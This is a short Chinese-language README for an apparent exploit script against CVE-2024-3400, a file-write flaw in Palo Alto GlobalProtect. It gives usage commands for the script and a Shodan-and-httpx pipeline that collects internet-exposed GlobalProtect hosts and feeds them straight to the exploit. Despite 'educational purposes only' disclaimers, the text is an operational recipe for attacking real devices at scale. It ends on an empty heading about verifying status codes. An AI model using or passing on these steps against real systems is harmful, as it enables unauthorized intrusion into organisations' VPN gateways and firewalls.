CVE-2024-3400 Palo Alto 文件写入漏洞利用
此漏洞利用脚本会搜索 Global Protect URL 实例,并尝试使用 CVE-2024-3400 写入文件
[ 请谨慎使用 ]
[ 仅用于教育目的 ]
用法:
chmod +x gp-exploit.sh
./gp-exploit.sh file_name_to_write urls.txt

Shodan 搜索与 URL 过滤:
# shodan search --fields ip_str,port 'http.html:"Global Protect"' --separator ":" | sed 's/.$//' > gp.hosts
# httpx -l gp.hosts
# ./gp-exploit file_name gp.hosts
状态码响应验证:
